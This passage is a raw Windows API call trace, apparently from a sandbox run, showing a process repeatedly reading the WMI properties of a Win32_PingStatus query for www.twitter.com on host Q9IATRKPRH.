lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336ac0*=0, plFlavor=0x2336ac4*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2336ac0*=8, plFlavor=0x2336ac4*=64) returned 0x0 [0156.702] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.702] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.702] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336b18*=0, plFlavor=0x2336b1c*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336b18*=8, plFlavor=0x2336b1c*=64) returned 0x0 [0156.702] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336b40*=0, plFlavor=0x2336b44*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2336b40*=8, plFlavor=0x2336b44*=64) returned 0x0 [0156.702] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.702] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.702] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336b98*=0, plFlavor=0x2336b9c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2336b98*=8, plFlavor=0x2336b9c*=64) returned 0x0 [0156.702] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.702] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.702] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336d74*=0, plFlavor=0x2336d78*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2336d74*=3, plFlavor=0x2336d78*=64) returned 0x0 [0156.703] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336da8*=0, plFlavor=0x2336dac*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dc38*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85060, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2336da8*=8200, plFlavor=0x2336dac*=64) returned 0x0 [0156.703] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336ddc*=0, plFlavor=0x2336de0*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2336ddc*=8, plFlavor=0x2336de0*=64) returned 0x0 [0156.703] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.703] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.703] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336e28*=0, plFlavor=0x2336e2c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2336e28*=8, plFlavor=0x2336e2c*=64) returned 0x0 [0156.703] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.704] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.704] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2336e74*=0, plFlavor=0x2336e78*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2336e74*=8, plFlavor=0x2336e78*=64) returned 0x0 [0156.704] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.704] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0156.704] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0156.704] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.704] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="Address", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23370ac*=0, plFlavor=0x23370b0*=0 | out: pVal=0x5bde898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x23370ac*=8, plFlavor=0x23370b0*=0) returned 0x0 [0156.704] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.704] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0156.704] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0156.704] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0156.704] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0156.704] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.705] IWbemClassObject:GetNames (in: This=0x5f6e0e8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0156.705] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0156.705] SafeArrayGetDim (psa=0x5f6db48) returned 0x1 [0156.705] SafeArrayGetLBound (in: psa=0x5f6db48, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0156.705] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.705] SysStringByteLen (bstr="__GENUS") returned 0xe [0156.705] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.705] SysStringByteLen (bstr="__CLASS") returned 0xe [0156.705] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.705] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0156.705] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.705] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0156.705] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.705] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0156.705] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.705] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0156.705] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.706] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0156.706] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.706] SysStringByteLen (bstr="__SERVER") returned 0x10 [0156.706] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.706] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0156.706] SysStringByteLen (bstr="__PATH") returned 0xc [0156.706] SysStringByteLen (bstr="__PATH") returned 0xc [0156.706] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2337480*=0, plFlavor=0x2337484*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2337480*=3, plFlavor=0x2337484*=64) returned 0x0 [0156.706] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23374b4*=0, plFlavor=0x23374b8*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23374b4*=8, plFlavor=0x23374b8*=64) returned 0x0 [0156.706] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.706] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.707] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x233750c*=0, plFlavor=0x2337510*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x233750c*=8, plFlavor=0x2337510*=64) returned 0x0 [0156.707] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2337534*=0, plFlavor=0x2337538*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2337534*=8, plFlavor=0x2337538*=64) returned 0x0 [0156.707] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.707] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.707] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x233758c*=0, plFlavor=0x2337590*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x233758c*=8, plFlavor=0x2337590*=64) returned 0x0 [0156.707] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.707] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0156.707] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2337768*=0, plFlavor=0x233776c*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2337768*=3, plFlavor=0x233776c*=64) returned 0x0 [0156.707] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x233779c*=0, plFlavor=0x23377a0*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dba8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85060, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x233779c*=8200, plFlavor=0x23377a0*=64) returned 0x0 [0156.708] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23377d0*=0, plFlavor=0x23377d4*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x23377d0*=8, plFlavor=0x23377d4*=64) returned 0x0 [0156.708] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.708] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0156.708] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x233781c*=0, plFlavor=0x2337820*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x233781c*=8, plFlavor=0x2337820*=64) returned 0x0 [0156.708] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.708] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.708] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__PATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2337868*=0, plFlavor=0x233786c*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2337868*=8, plFlavor=0x233786c*=64) returned 0x0 [0156.708] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.708] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0156.708] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde8d0 | out: puCount=0x5bde8d0*=0x2) returned 0x0 [0156.708] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0x0, pszText=0x0 | out: puBuffLength=0x5bde8cc*=0xf, pszText=0x0) returned 0x0 [0156.708] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.708] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="Address", lFlags=0, pVal=0x5bde8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2337aa0*=0, plFlavor=0x2337aa4*=0 | out: pVal=0x5bde8cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x2337aa0*=8, plFlavor=0x2337aa4*=0) returned 0x0 [0156.708] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.708] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.709] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="Address", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2337aa0*=8, plFlavor=0x2337aa4*=0 | out: pVal=0x5bde980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x2337aa0*=8, plFlavor=0x2337aa4*=0) returned 0x0 [0156.709] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.709] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0156.723] QueryPerformanceCounter (in: lpPerformanceCount=0x5bde790 | out: lpPerformanceCount=0x5bde790*=1179770013054) returned 1 [0156.829] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x504 [0156.889] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde4e8 | out: puCount=0x5bde4e8*=0x2) returned 0x0 [0156.889] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4e4*=0xf, pszText=0x0) returned 0x0 [0156.890] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.890] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23515a4*=0, plFlavor=0x23515a8*=0 | out: pVal=0x5bde4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x23515a4*=8, plFlavor=0x23515a8*=64) returned 0x0 [0156.890] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.890] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.890] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23515a4*=8, plFlavor=0x23515a8*=64 | out: pVal=0x5bde4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x23515a4*=8, plFlavor=0x23515a8*=64) returned 0x0 [0156.890] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.890] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0156.890] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde4e8 | out: puCount=0x5bde4e8*=0x2) returned 0x0 [0156.891] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4e4*=0xf, pszText=0x0) returned 0x0 [0156.891] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.891] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2351640*=0, plFlavor=0x2351644*=0 | out: pVal=0x5bde4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2351640*=8, plFlavor=0x2351644*=64) returned 0x0 [0156.891] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.891] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.891] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2351640*=8, plFlavor=0x2351644*=64 | out: pVal=0x5bde4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2351640*=8, plFlavor=0x2351644*=64) returned 0x0 [0156.891] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.891] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.891] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde4e8 | out: puCount=0x5bde4e8*=0x2) returned 0x0 [0156.891] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4e4*=0xf, pszText=0x0) returned 0x0 [0156.891] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.891] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bde4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x235179c*=0, plFlavor=0x23517a0*=0 | out: pVal=0x5bde4e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dcc8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85090, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x235179c*=8200, plFlavor=0x23517a0*=64) returned 0x0 [0156.892] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bde4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x235179c*=8200, plFlavor=0x23517a0*=64 | out: pVal=0x5bde4ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f6dc98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5f85090, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x235179c*=8200, plFlavor=0x23517a0*=64) returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde4e8 | out: puCount=0x5bde4e8*=0x2) returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4e4*=0xf, pszText=0x0) returned 0x0 [0156.892] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.892] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2351a04*=0, plFlavor=0x2351a08*=0 | out: pVal=0x5bde4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2351a04*=8, plFlavor=0x2351a08*=64) returned 0x0 [0156.892] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.892] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.892] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__CLASS", lFlags=0, pVal=0x5bde4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2351a04*=8, plFlavor=0x2351a08*=64 | out: pVal=0x5bde4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2351a04*=8, plFlavor=0x2351a08*=64) returned 0x0 [0156.893] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.893] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0156.893] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde4e8 | out: puCount=0x5bde4e8*=0x2) returned 0x0 [0156.893] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0x0, pszText=0x0 | out: puBuffLength=0x5bde4e4*=0xf, pszText=0x0) returned 0x0 [0156.893] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0156.893] IWbemClassObject:Get (in: This=0x5f6e0e8, wszName="__Derivation", lFlags=0, pVal=0x5bde4e4*(varType=0x0, wReserved1=0x0, 